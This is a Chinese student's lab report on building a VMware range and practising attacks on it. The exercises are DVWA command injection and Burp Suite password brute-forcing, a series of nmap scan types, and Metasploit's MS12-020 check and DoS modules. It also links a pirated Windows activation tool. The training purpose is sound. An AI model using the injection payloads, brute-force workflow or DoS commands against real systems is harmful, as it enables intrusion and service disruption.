网络攻防实训报告
当前进度1.0 by.dayi
任务一:kali作为攻击方,安装一个win7,安装一个dvwa作为靶机
安装虚拟机 win7
秘钥不用填
等待简易安装完成:
安装vmware tools(可选,但是推荐)
vmware tools 可以实现直接从虚拟机和实体机拖文件,提升帧数,自适应分辨率,但是此步骤目前看,坑稍微多一点。
懒猴子版本
dayi意识到下面的有点麻烦,所以直接弄了个懒猴子版本。
下载这个文件:(服务器带宽有限制,如果你下载成功了,欢迎通过qq分享文件给你的好朋友)
- 关闭虚拟机
打开虚拟机设置
删除软盘(可选)
替换DVD文件到刚刚下的文件
- 开机
打开此电脑(win+E),如果显示找不到什么东西,就右键这个打开就好啦
点这个打开就可以。
依次打开这两个文件
过程中可能会重启多次。
先点1,再点2就可以啦,把两个文件都安装好就可以。
- 更新:火狐浏览器也可以装一下
- 再次重启就OK啦
成功安装
我是勤快的小兔子
如果你上面做完了,这里的1-11就不用了
- 先把虚拟机关机
编辑虚拟机设置
->
删除软盘,然后修改到光驱选项为自动检测修改光驱为自动检测
保存,然后开机,如显示什么没有连接,什么的直接选是就行。
- 保存,然后开机
右键是这里,然后选安装vmware tools
打开计算机(下面的那个文件管理器)
双击或者选择这个文件,根据电脑性能不一样打开的速度不一样,稍微等一下就可以。
安装上这个软件,一直点下一步就可以。
如果有问题就重新开下这个安装程序就可以啦。
- oh我的上帝,win7太老了,你的软件太新了,如果出现这种情况怎么办。
(当然是直接放弃啦)
如果你遇到了10的问题
下载一个浏览器吧,IE太老了,现在支持太差了
用IE打开 ie.sogou.com
- 欢迎网上冲浪
如果你的win7不能联网
最简单的,你重新装一下vmware workstations,杀毒软件不要再做优化,安装过程都允许。
进入服务(win+r 输入services.msc),把vmware的所有服务都开启。
- 这里有同学发现vmware的服务被删除了,那样就重装vmware吧(不要用2345了吧)
然后 在vmware里面:编辑->更改设置(可选)->还原默认设置
win7打开这个网站:https://www.catalog.update.microsoft.com/search.aspx?q=kb4474419
输入网站太麻烦?
- 输入这个就可:http://t.cn/A6fW40qk
什么证书不认点确定就行。
下载这个:
然后安装这个就行
- 重启一下即可,然后重新安装vmware tools
- oh我的上帝,win7太老了,你的软件太新了,如果出现这种情况怎么办。
激活win7(不必要过程)
此过程用于学习和交流,不得用于任何商业用途,有米可以支持正版。
小马OEM_https://p.dabbit.net/blog/pic_bed/OEM-8a29f1e7-a056-485c-9c6d-32528d48ae0d-154177649.zip
- 如果你已经安装了vmware tools 直接这样就可以。否则可以参考上面的步骤先安装浏览器,也可以尝试IE直接打开,然后下载这个文件。
拖~
启动文件之后开始体验正版PWP
右键桌面个性化->左边的桌面图标设置,可以把计算机调出来
桌面右键计算机->属性,可以看到嘿嘿嘿啦
安装PhPStudy
群文件版本,这是老师给的老版本(写完我才发现他给了个2016):
这个版本默认似乎不会开机自动启动,如果重启之后找不到,到这里来:C:\phpStudy (安装目录)启动即可
先安装微软常见运行库
在群文件里,叫
微软运行库合集
下一步,然后等一下,有可能会重启一下。
- 打开这个文件:
修改D到C
- 有个弹窗选是就可以
启动完之后如图,你记得把你的两个调成绿的(点击:启动)
【其他版本】下载phpstudy 版本
链接:https://www.xp.cn/download.html 下载选择64位就可以
- 然后把下好的文件拖到虚拟机里,没法拖可以试试复制粘贴。如果你没装vmware tools,就用win7浏览器打开即可,如果有问题请参考懒猴子版本。
- 下完之后拖到虚拟机里。打开安装包(安装包在压缩包里)
点击自定义,把D改成C
- 立即安装
安装好之后直接点这个。防火墙弹窗都要允许访问哦,忘了的话之后有问题就直接把防火墙关掉。
这样就行了
点击网站
火狐浏览器的安装
你也可以直接通过IE浏览器打开 ie.sogou.com 下载搜狗浏览器
如果已经安装vmware tools,直接安装此文件即可
- 【火狐浏览器安装包链接】https://p.dabbit.net/blog/pic_bed/firefox_12-3_84f205e6-72d1-11ed-a1eb-0242ac120002.zip
下载后,把安装包拖到虚拟机即可,然后双击安装
如果没有安装VMware tools
- 下载链接:https://p.dabbit.net/blog/pic_bed/firefox_12-3_84f205e6-72d1-11ed-a1eb-0242ac120002.zip
- 然后虚拟机设置或者右键右下角的光驱
- 将ISO文件改成 这个火狐包
火狐包_84f205e6-72d1-11ed-a1eb-0242ac120002.iso
就可以了,然后在电脑的光驱里面打开并安装火狐。
如果你已经安装好phpstudy,那么打开后大概这样子:
输入网址:http://127.0.0.1/ 或者 http://localhost/
如果你装的是8版本,那么打开内容可能不一样,但是不应该出现无法打开网页。
安装DVMA
安装(复制粘贴)
写到这,我发现他好像给了个phpstudy2016,那样的话,用两个版本都可以啦。
如果你用的是2016版本,在这里打开根目录。
把dvwa.zip拖进来。
最终大概这个样子
开始安装
火狐浏览器或者IE或者搜狗浏览器打开:
如果你服务器是nginx 则需要注意区分目录大小写
http://localhost/dvwa/
http://127.0.0.1/dvwa
这两个基本上是等价的
修改参数
有很多需要更改的地方
打开
url_include
自动重启或者手动重启之后,刷新一下网页,发现:
PHP function allow_url_include: Enabled
变成绿色的了
创建数据库
创建数据库
数据库默认密码 用户名:root 密码:root
- 创建数据库
dvwa
,注意区分大小写 Mysql->快速创建
确认数据库已经创建成功
火狐浏览器打开网页
http://localhost/phpMyAdmin/
用户名:
root
密码:
root
点击执行:
左边有了dvwa就可以啦
- 创建数据库
- (可选)修改数据库root密码
原密码应该是root(我也是第一次用phpstudy),我就改成root了。更新:刚查的,是root。
原密码填写root
哦
修改DVMA数据库信息
打开目录,如果你的不是在这里,你稍微对应一下就可以。
C:\phpStudy\WWW\dvwa\config
打开config.inc
文件
将这数据库用户和密码修改为你自己的
这里我没有修改默认数据库密码的,就是root
和root
然后保存就可以啦
再刷新一下这个网页
http://localhost/dvwa/setup.php
都是OK的,这样就可以开始安装了。
这里有同学问了,那个reCAPTCHA 也是红的,你咋不去修一下。
这个reCAPTCHA是google的验证码,就是给你9个图让你找防火栓的那个东西。由于国内连接google不稳定,以及申请reCAPTCHA APPKEY 超级麻烦,这里就不做了。
那样会带来什么缺失:登录的时候没有验证码。
提示都是successful
,然后会自动跳转。
登录名:admin
,密码 :password
你看这里,显示logged as admin就可以啦!
安装kali
这里可以一步一步的装,也可以用官方的vmware 虚拟机文件,打开即用。
使用官方的虚拟机包
我也觉得这是懒人包
解压 这个文件 ,这个文件之前传到群文件啦
kali-linux-2021.3-vmware-amd64.7z
解压之后打开里面的vmx
开机就好啦,用户名kali,密码kali
手动安装kali (推荐动手试一试哦)
这里是重新安装一次kali,用官方的vmware的版本的话,这一步可以直接忽略掉。
不过新版的kali好好看
真的好好看!!是不是超好看
下载镜像
开始安装
新建一个虚拟机,DVD镜像就选上面这个链接下载的文件就好啦。系统的换选Linux 5.11内核或者Debian 10 Debian11
- 启动
- 我选了图形界面安装,也就是第一个选项
语言的话,兼容性好一点其实选择英文比较好
- 安装界面倒是挺好看
- 用户名设置一个就好啦,我这里设置了
kali
密码kali
,域名不用填写 一直下一步就可以啦
- 稍等片刻。
然后工具选择默认的就可以啦
- kali安装起来还是挺慢的,看你的电脑的性能啦
- 设置引导分区:选sda就可以
安装完成后的微调
再次安装vmware tools(意义不大|可选)
- 这里其实不用啦,如果你安装正确的话,并且没有修改过多的虚拟机参数,会自动安装open-vm-tools,这样就可以复制文件啦。也可以自己安装一下。
等待kali开机之后,登录上之后,随便复制个文件试一试,发现是没有问题滴!
呃..如果你还是想装一次的话
DVD连接之后,切换这个镜像文件,如果你的vmware安装的时候切换了目录的话,可以换一下
C:\Program Files (x86)\VMware\VMware Workstation\linux.iso
命令如下
sudo su #切换到root cd /media/cdrom #进入光盘目录 cp VMwareTools-10.3.23-16594550.tar.gz /tmp #复制到内存盘 注意,此处的文件名可能不一样 cd /tmp tar -xzvf VMwareTools-10.3.23-16594550.tar.gz #注意,此处的文件名可能不一样 cd vmware-tools-distrib perl vmware-install.pl #然后一路回车就可以啦
最后大概这个样子
添加中科大镜像源
打开终端
如何粘贴?
ctrl+shift+v
sudo su
sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak
#下面两行一起复制
sudo echo 'deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib' > /etc/apt/sources.list
cat /etc/apt/sources.list
#↑如果有 deb https://mirrors ... 和 deb-src https:// ... 就可以啦
sudo apt-get update #更新包信息,如果没报错就对啦,或者说多输入几遍
sudo apt-get upgrade -y
在kali上玩一下DVWA(可选)
序幕
先看一下windows 7 的ip地址
如何打开cmd -> 开始键+R 输入cmd ,然后按回车
在cmd里面输入
ipconfig /all
也可以右键网络图标
->
打开网络和共享中心->
打开本地连接点击详细信息,然后记录下IPV4的地址
我这里的IP是
192.168.226.128
我们就开始吧
上号
卡里的左上角有一个火狐浏览器,我们打开它。
- 尝试一下是否可以打开这个网页。
在kali的浏览器里输入:
http://192.168.226.128/
如果打不开,尝试关闭windows的防火墙,以及开放域名到0.0.0.0
发现没有问题滴
登录到这里:
http://192.168.226.128/dvwa/
还记得用户名吗?
用户名:admin 密码:password
登录成功!
调整难度
默认的难度是CVE难度,有点值钱,所以我们切换到最高难度Low
!
在左边选DVWA Security
然后难度选择Low
就可以啦,记得点提交(Submit)
指令注入小游戏
藏兔子
在windows7的C盘藏一个小兔子
- 我们的目标就是,在kali上,通过网页存在的漏洞来访问这个文件。
什么是ping
在windows的cmd里面,我们可以通过指令ping来探测网络的状况,如果主机收到了ping请求(ICMP)则会告诉你,它收到了。
比如:ping rabbit.dayiyi.top
这样可以测试rabbit.dayiyi.top
服务器是否能通,以及来回的延时是多少
这样,我们就可以来获得一些基本的网络信息
windows cmd下的&
在cmd中 & | 这类可以连接两个命令,两个命令都会得到执行。
如图:通过运行:ping rabbit.dayiyi.top & ping dayi.ink
可以发现,两个命令都已经执行了
windows 下的type
如果文件是文本文件,可以通过type 文件名
来显示文件的内容
于是,这样子可以在cmd中获得文件内容。
如果我们把文件通过一定的方式进行编码,比如base64等,这样做之后,不论什么文件,我们理论上都可以通过type命令获得全部的内容。
回到kali
- 选择左边的
Command Injection
指令注入 - 观察一下,网站提供给了大家一个ping命令,可以用来帮你用他的网络,来检测网络。
我们尝试一下输入
rabbit.dayiyi.top
虽然中文乱码了,但是我们还是可以辨认出煮这是什么,以及发现了:
- 这个功能可能是直接通过windows 的cmd的调用来实现的
如果我们将上面的两个理论加以利用
也就是
127.0.0.1 | type C:\rabbit.txt 或者 rabbit.dayiyi.top | type C:\rabbit.txt
这样子,会发生什么?
你好像发现了什么神奇的东西,对吧?
这好像是我们之前藏在服务器上的文件。
如果这个可以看到,其他的同样可以看到。
其他的利用的简单举例
显示系统用户
127.0.0.1 | net users
查看当前用户
127.0.0.1 | whoami
查看桌面文件
127.0.0.1 | dir C:\Users\dayi\Desktop
这个东西就是所谓的——远程代码执行。
执行的是管理员用户,可以直接提权到SYSTEM用户,如果提权到SYSTEM用户,整台电脑的访问权限就完全完全拿下了。
任务二:通过nmap对于靶机进行扫描分析靶机相关信息
NMAP概述
原文链接:https://nmap.org/man/zh/index.html
Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。
Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。 “所感兴趣的端口表格”是其中的关键。那张表列出端口号,协议,服务名称和状态。状态可能是
open
(开放的),filtered
(被过滤的),closed
(关闭的),或者unfiltered
(未被过滤的)。 Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。filtered
(被过滤的) 意味着防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap无法得知 它是open
(开放的) 还是closed
(关闭的)。closed
(关闭的) 端口没有应用程序在它上面监听,但是他们随时可能开放。 当端口对Nmap的探测做出响应,但是Nmap无法确定它们是关闭还是开放时,这些端口就被认为是unfiltered
(未被过滤的) 如果Nmap报告状态组合open|filtered
和closed|filtered
时,那说明Nmap无法确定该端口处于两个状态中的哪一个状态。 当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时 (-sO
),Nmap提供关于所支持的IP协议而不是正在监听的端口的信息。除了所感兴趣的端口表,Nmap还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。
目标机IP位置:192.168.226.128
也可以直接扫描整个网段:192.168.226.0/24
通过命令sudo su
切换到root
用户,其他的不进行修改
wireshark 的抓包过程中:
有些过程中屏蔽了以下IP:
- 192.168.226.2 NAT的虚拟网关、虚拟DNS
- 192.168.226.1 宿主机IP
简单扫描靶机
当防火墙开启的时:
通过nmap的扫描:
nmap 192.168.226.128
可以发现靶机的两个端口处于开放状态
- 80 http
- 3306 mysql
如果关闭防火墙:
再次扫描:
可以发现一些windows常见的接口也可以扫描出来
如果进行抓包(在后面的-sS参数 章节。可以发现,一种是被忽略,一种是服务器返回了RST包)
参数:-sn通过ping扫描整个网段
kali运行
sudo su
nmap -sn 192.168.226.0/24
如果用wireshark的抓包,可以发现,ping扫描其实是发送的ARP包,对所有的IP进行广播。
而如果进行跨网段ping的时候:
除去DNS的查询,还有几个包
- ICMP ping包(ECHO)
- TCP SYN 端口443
- TCP ACK 端口80
- ICMP timestamp
参数 --packet-trace
可以显示packet的追踪的发送与答复以及过程,与wireshark抓包抓到的结果一样
nmap -sn a.dayiyi.top --packet-trace
参数: --traceroute 路由追踪显示所有路由
nmap --traceroute 39.105.181.66
参数:-p 指定端口
nmap 192.168.226.128 -p 1-1024,3306 #--packet-trace
参数:-sS TCP SYN扫描 也被称为半连接扫描
nmap 192.168.226.128 -p 1-1024,3306 -sS #--packet-trace
分析
通过wireshark抓包可以得到
nmap 192.168.226.128 -p 80 -sS --packet-trace
ARP广播之后,
- 发送 SYN包
- 服务器返回SYN+ACK
- 发送RST 重置连接
如果对于无法访问/不能确定/关闭的端口:
nmap 192.168.226.128 -p 81 -sS --packet-trace
发送两个SYN包,没有得到回应
将windows7的防火墙关闭:
如何关闭windows 防火墙?
控制面板\系统和安全\Windows 防火墙 ->打开或关闭防火墙
将两个全部关闭即可
重新扫描81端口
观察可以发现,判定为close的端口
- 发送SYN包
- 服务器返回 RST ACK
- 判定端口已经关闭
后期补充:
查阅文档(https://nmap.org/man/zh/man-port-scanning-techniques.html):
-sS
(TCP SYN扫描)SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。 它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个 端口。 SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP连接。 它也不像Fin/Null/Xmas,Maimon和Idle扫描依赖于特定平台,而可以应对任何兼容的 TCP协议栈。 它还可以明确可靠地区分
open
(开放的),closed
(关闭的),和filtered
(被过滤的) 状态它常常被称为半开放扫描, 因为它不打开一个完全的TCP连接。它发送一个SYN报文, 就像您真的要打开一个连接,然后等待响应。 SYN/ACK表示端口在监听 (开放),而 RST (复位)表示没有监听者。如果数次重发后仍没响应, 该端口就被标记为被过滤。如果收到ICMP不可到达错误 (类型3,代码1,2,3,9,10,或者13),该端口也被标记为被过滤。
跟实际的情况一样,并且更好理解啦
参数:-sU UDP扫描
nmap -p U:53 223.5.5.5 -sU
抓包分析:
实际过程比想象的复杂的多。
nmap先通过SYN半连接扫描,然后再发送UDP包(被wireshark识别为DNS包)
尝试扫描54,避免识别为DNS包
得到的结果大致发送了一个空包。
查阅官方文档:
原文链接:https://nmap.org/man/zh/man-port-scanning-techniques.html
UDP扫描发送空的(没有数据)UDP报头到每个目标端口。 如果返回ICMP端口不可到达错误(类型3,代码3), 该端口是closed
(关闭的)。 其它ICMP不可到达错误(类型3, 代码1,2,9,10,或者13)表明该端口是filtered
(被过滤的)。 偶尔地,某服务会响应一个UDP报文,证明该端口是open
(开放的)。 如果几次重试后还没有响应,该端口就被认为是open|filtered
(开放|被过滤的)。 这意味着该端口可能是开放的,也可能包过滤器正在封锁通信。 可以用版本扫描(-sV
)帮助区分真正的开放端口和被过滤的端口。
参数:-sT TCP connect扫描
也算是一种全连接扫描。
在没有权限发送原始报文或者在IPV6下的常见的方法
简单扫描:
nmap -sT 192.168.226.128
我感觉比我想象的扫描要快,不知道为什么
对80端口扫描:
wireshark抓包,是一个全连接。
对81端口(关闭端口,防火墙开启)
nmap -sT 192.168.226.128 -p 81
防火墙没有回复
也许是虚拟机NAT虚拟网卡的关系导致的扫描速度感觉和理论有些差距?只是一个猜测啦
参数:-sA ACK扫描
这种扫描与目前为止讨论的其它扫描的不同之处在于 它不能确定open
(开放的)或者open|filtered(开放或者过滤的)
)端口。 它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。
发送ACK,看看服务器有没有反馈,进而判断端口有没有被防火墙屏蔽。
- 如果被屏蔽了ACK包可能会被忽略
- 如果没有屏蔽ACK包会返回TCP RST
- 即便是端口开放,也是会忽略包滴
实际测试
nmap -sA 192.168.226.128 -p 81
把防火墙关闭:
nmap -sA 192.168.226.128 -p 81
就会有RST返回啦
参数:-sF -sN -sX
依旧是一种判断防火墙的方法
如果扫描系统遵循该RFC,当端口关闭时,任何不包含SYN,RST,或者ACK位的报文会导致 一个RST返回,而当端口开放时,应该没有任何响应。除了探测报文的标志位不同,这三种扫描在行为上完全一致。
谁遵守规定谁吃亏系列
- -sN 不设置任何标志位 TCP flag 0
- -sF 只设置TCP FIN
-sX 设置FIN PSH URG
就像点亮圣诞树上所有的灯一样。
对于windows返回的是TCP RST+ACK
直接找个linux服务器扫:
nmap -sN a.dayiyi.top -p 443
nmap -sF a.dayiyi.top -p 443
nmap -sX a.dayiyi.top -p 443
主要的包是在15 、16号包
发现可能因为有防火墙的缘故,所以都没有有返回的信息
最终获得的信息大概率也是前面的半连接获得的
对于windows,这个不是特别准确,即便是80已经开放,扫描出的结果是close
nmap -sX 192.168.226.128 -p 80
NMAP 应用程序信息扫描
更新nmap
sudo su apt-get update apt --only-upgrade install nmap -y
如果有信息,选YES就可以
简单扫描(参数-sV)
nmap -sV 192.168.226.128
扫描结果还是比较准确滴
其他的参数
--allports
所有端口--version-intensity <intensity>
版本强度--version-light
相当于--version-intensity 2
更快--version-all
相当于--version-intensity 9
--version-trace
显示调试信息 相当于--packet-trace
来个阴间参数
nmap -sV --version-intensity 5 192.168.226.128 --version-trace
NMAP 操作系统信息扫描
参数
- -O (启用操作系统检测
- -A 同时启用操作系统检测和版本检测
--osscan-limit
已经发现过TCP端口,直接用就好啦,省时间--osscan-guess
默认启用,猜测
开扫
nmap -O 192.168.226.128
扫描个linux机器,此机器dayi授权了,随便扫。
nmap -O a.dayiyi.top
还是听准确滴
再扫一个
nmap -O co4.dayi.ink
这个机子是debian 11,还是有偏差的
杂项
TTL
数据包存活时间(Time To Live)
每跳跃(hop)一个节点、路由,就会减一。
直到减少到0,如果减少到0,路由器便会取消该封包转发,并且可能会向原封包的发出者传送一个ICMP TTL封包以告知跃点数超限。
各类操作系统 32 64 128 均有
DF
IP协议中:Don't Fragment 是IP协议的首部的标志位位置
- DF = 0 则允许分片
- DF = 1 不允许分片
MF(More Fragment)
- MF = 1 表示还有分片
- MF = 0 这已经是最后一个
通过wireshark的抓包信息:
具体信息如下:
Windows Size
窗口大小,是TCP堵塞控制的一种方法,在出现堵塞的情况时,TCP会尝试调整窗口大小。
同时,窗口大小也算是TCP的一个缓冲区,当缓冲区满了的时候,会发送ACK
ACK
Acknowledgment number
ack序号的生效需要有FLAGS内:ACK=1
这个数字式通信中希望从另外一个设备得到的下一个数据包的序号。
大部分系统会把ACK的序号,设置为回应包的数字
FIN
TCP
- ack(确认号)
- seq (序号)
当flags
- ACK=1 ack有效
- SYN=1 请求连接
- FIN=1 释放连接
TCP释放链接的时候
- 客户端发送 FIN ACK seq=80=t | ack=u | 客户端放开进程,请求释放链接
- 服务端发送 ACK seq=u | ack=80+1=81=v |服务器同意释放,半关闭状态
- 服务端发送 FIN ACK seq=u | ack=80+1=81 =v |没有更多数据需要发送了,服务器应用进程通知TCP释放
- 客户端发送 ACK seq=81=v ack=u+1|客户端收到释放请求,同意释放
任务三:使用burp对于访问dvwa的数据进行抓包改包
这个任务其实主要是玩Burpsuite
更新软件包(可选)
burp suite 也会一起更新
不管三七二十一,先更新下软件包吧(挺慢的)可以喝茶去,我甚至觉得有点恐怖。
sudo apt-get upgrade -y
如果更新要是太慢了就CTRL+C,然后再输入一次,或者直接放弃(
如果提示选择,就选YES就可。
我电信网大概更新了20分钟左右(全程大概10MB/s以上)
太慢?
尝试更换镜像源到中科大。
zsh终端如何粘贴?ctrl+shift+v
sudo su sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak #下面两行一起复制 sudo echo 'deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib' > /etc/apt/sources.list cat /etc/apt/sources.list #↑如果有 deb https://mirrors ... 和 deb-src https:// ... 就可以啦 sudo apt-get update #更新包信息,如果没报错就对啦,或者说多输入几遍 sudo apt-get upgrade -y
文件内容如下:
登录到dvwa
登录
http://192.168.226.128/dvwa/index.php
修改难度
选择难度,这次选择为中等
然后点击提交
开始抓包,爆破
进入爆破登录:
Brute Force
打开burp suite
建立临时项目,打开的时候如果有对话框点YES即可
使用默认设置即可
为了让我们的流量能被burp suite捕获,打开burp的代理设置
记下这个代理服务器的地址:这里是
127.0.0.1:8080
打开截断功能
修改火狐浏览器的设置,让火狐浏览器走代理
划到最下面
填写代理信息:
点击保存(OK)
- 回到burpsuite,切换到到intruder
我们提交一个表单,让burpsuite捕获
记得刷新
http://192.168.226.128/dvwa/vulnerabilities/brute/
- 尝试打开之后,会卡住。
打开burpsuite,发现包捕获成功
但这个包不是需要修改的,所以就直接forward即可。
模拟登录
点击登录
依旧网页没有响应,这时候burp suite会弹出来 ,如果没弹出来就点一下下
内容大概如下:
我们右键,然后send到intruder
分析表单:
如图:
- 我们发现需要修改的地方有两个,一个是用户名,一个是密码,其他的地方不需要进行爆破
神奇的dayi告诉你,有个用户名叫做:
- 用户名:gordonb
- 密码:?
于是我们尝试对这个用户进行爆破
修改爆破表单,有些内容我们每个表单都一样,就删掉这个符号即可
添加字典
这里用了常见密码的前1w
字典下载:
https://www.somd5.com/download/dict/top1w.zip
备用下载地址:
https://p.dabbit.net/blog/pic_bed/top1w_4d8229a2-7384-11ed-a1eb-0242ac120002.zip
字典下好之后放到虚拟机里
放进去
如下
开始爆破!
实际上因为是社区版,爆破速度超级慢
如果想提高速度可以使用氪金版,学习版(仅供学习),或者python代码
我们按服务器返回值进行排序
发现这个包与众不同
诶!
这可能就是我们要找的东西啦!
查看提交的表单,密码是abc123
我们赶紧试试,能不能登上去
试试能不能上号
关闭火狐的代理
设置->通用->最下面:
用户名是:gordonb 密码是:abc123
可以登录成功啦!
可以开个无痕
没问题啦
公钥私钥体系
RSA
1.形式
有公钥和私钥
1.单项计算容易,但逆向很难
模运算是单项函数
计算 `
$$ 3^3 mod 7 =6 $$
很容易
但是知道
$$ 3^xmod7=6 $$
计算x很难
2.加密
对于一个数
$$ m^e mod N =c $$
其中e为秘钥,c为密文
3.解密
$$ c^d mod N = m $$
其中d是解密的秘钥
4.变换
将两个公式合并,可以得到
$$ m^{ed} \; mod \; N =m $$
那么可以得到
$$ m^{ed}\; \equiv \; m $$
引入
欧拉函数:
$$ φ(p)=p-1 $$
其中p为质数
如果(p,q)=1,有这个性质
$$ φ(p*q)=φ(p)*φ(q) $$
不知道为啥
这里解释一下为什么可以这么推
首先有欧拉定理:
$$ m^φ(n)\equiv 1 (mod \; n) $$
可以在等式的两端同时取k次幂
$$ (m^{φ(n)})^k\equiv 1^k (mod \; n) $$
然后等式两端同时乘以m
$$ m^{kφ(n)+1} \equiv m \; (mod \; n) $$
然后模运算变形
$$ m^{kφ(n)+1} \; mod \; n = m $$
这个式子和这个类似
$$ m^{ed} \; mod \; n =m $$
可以得到
$$ ed=kφ(n)+1 $$
然后可以选取k,n,e
来获得d
然后
我们可以知道
$$ d = \frac{kφ(n)+1}{e} $$
此时,如果e=3
取一个p=17,q=23,其中(17,23)=1
那么可以得到
$$ φ(17*23)=φ(391)=352 $$
e=3,k=5
$$ d=\frac{kφ(n)+1}{e}=\frac{5*352+ 1}{3}=587 $$
这样
e:公钥
d:私钥
都有啦
然后把 e:公钥
和n:
公布
例子
当前
公钥e=3,私钥d=587,n=391
要加密的数据为97
$$ 97^3 \; mod \; 391 = 79 $$
97为加密后的密文
解密:
$$ 79^{587} \; mod = 97 $$
还原
用了587这个秘钥
嗯,暂时就这样啦
补充
e需要满足:
$$ 1<e<φ(n) $$
且
$$ (e,φ(n))=1 $$
还有这个性质
$$ m^{kφ(n)} \; mod \;n =1 $$
其中n
为前面欧拉函数的计算结果
RSA 密钥身份验证
CA
CA中心为每个使用公开密钥的用户发放一个数字证书,数字证书的作用是证明证书中列出的用户合法拥有证书中列出的公开密钥。CA机构的数字签名使得攻击者不能伪造和篡改证书。它负责产生、分配并管理所有参与网上交易的个体所需的数字证书,因此是安全电子交易的核心环节。在SET交易中,CA不仅对持卡人、商户发放证书,还要对获款的银行、网关发放证书。
- 证书的内容包括:电子签证机关的信息、公钥用户信息、公钥、权威机构的签字和有效期等等。目前,证书的格式和验证方法普遍遵循X.509国际标准。
- 加密:CA认证将文字转换成不能直接阅读的形式(即密文)的过程称为加密。
- 解密:将密文转换成能够直接阅读的文字(即明文)的过程称为解密。
实际上最比较常见的是https的证书。
用openssl向CA发送CSR,CA同意之后,回送证书。
社会学攻击
利用人的弱点来进行攻击。
从广义上讲,社会工程学是操纵人们放弃敏感信息的做法。社交工程学攻击可能当面发生,例如盗匪装扮成送货员闯入建筑物。本文将重点关注社会工程学网络攻击。在大多数情况下,此类攻击旨在使受害者泄露登录凭据或敏感的财务信息。
- 发送虚假的电子邮件
- 诱骗用户登录网站
- 联系用户,声称自己是百万首付等等
任务四:使用MSF对靶机进行漏洞利用并获得靶机信息进行密码破解
装一个新的WIN7
为什么要这么做?
因为我们是利用的漏洞,但是漏洞是会被修复的。还记得我们打的部分补丁吗?实际上你装其他软件的时候也可能会自动修复漏洞。
我们之前对上一个WIN7,做了很多修改,因此,为了更稳定的利用漏洞,我们直接装一个2011年的win7。
这样可以确保我们的漏洞尽可能的可能执行。
快速安装即可
- 新建虚拟机
->
自定义高级->
16.x及以下版本->
- 光盘选择:cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso
->
- 选择windows 7 Ultimate (RDP利用的时候要用,很建议,但是如果没用这个版本也没关系)秘钥不用填
->
- 目录自己找就可以
->
BIOS->
- 处理器先改成4以上,这样装系统快,然后再改成1,方便被攻击
->
- 内存2G及以上
->
NAT->
SAS(直接下一步)->
SCSI(直接下一步)->
创建新的->
60G(用多少占用多少,不是直接占用60G)-> - 下一步
->
下一步->
完成! - 开启笔记本性能模式会提速哦
使用简易安装即可
挂网,然后大概15分钟内就可以啦(我用了8分钟)。
这个网络随便设置啦,反正咱们要用漏洞打它。
查看win7系统的IP地址
很多种方法看IP啦,我这里是192.168.226.132
给WIN7设置一个密码
如果你有啦就不用啦
设置密码真的很有用?防君子不防小人?
- 开始->控制面板(在开始的右侧)->
用户账户和安全->更改windows密码->创建密码,这里我写的是
114514
- 没事的话重启下windows,看看密码创建成功否(可选)
metasploit framework
你可以上面翻一翻如何一键更新所有软件包
下面只更新metasploit-framework
sudo apt-get --only-upgrade install metasploit-framework -y
这个软件是漏洞利用的常见框架,里面也收录了超多的漏洞,其实也是脚本小子的常用之物,那么今天我们就来当一次脚本小子,感受下脚本小子的快乐。
初始化msf,直接终端输入:
sudo msfdb init && msfconsole
等一下就好啦。
有小兔子诶!
漏洞利用:MS12-020
漏洞介绍
CVE-2012-0002
只要操作系统开启Remote Desktop Protocol (RDP)服务,远程攻击者在未经认证的情况下往服务器发送畸形恶意的数据包,便可以以系统权限或者NET SERVICE权限执行任意命令。
受影响设备
Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 SP2(用于基于Itanium的系统)
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008
Windows Server 2008 R2
Windows 7
靶机环境的搭建
windows 7 打开RDP功能
你安装的是家庭版家庭版是没有远程桌面滴,如果你是家庭版,请参考下面的教程
旗舰版可以忽略这个,直接往下走。
- 重装系统到旗舰版或者使用RDP修改工具(旗舰版也可以用这个方法)
RDP修改工具
- 记下这个网址:https://p.dabbit.net/blog/dl_files/rdpwarp162.zip
打开换个网址
忽略证书错误
解压
等一会就修改好啦,然后RDP也不用开啦
成功修改啦
- 开始键+R,输入mstsc,输入127.0.0.2
显示要输入凭证即可
如果你安装的的是旗舰版
- 打开资源管理器
右键计算机->属性
远程设置->允许运行任意版本远程桌面的计算机(较不安全)->确定
漏洞利用和复现
启动msf
msfconsole
搜索漏洞
search ms12-020
测试是否有漏洞
使用漏洞
use 0 #检测是否有漏洞 #或者 use auxiliary/scanner/rdp/ms12_020_check
显示参数
show options
看来我们需要输入RHOSTS参数
设置需要的参数
set RHOSTS 192.168.226.132
开始测试
run
看样子似乎存在
开打
exit
sudo su
msfconsole
search ms12-020
use 1
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
show options
set RHOSTS 192.168.226.132
run
打不进去?
没关系,WIN7 的核心太多了
我们把win7的核心改成一个。
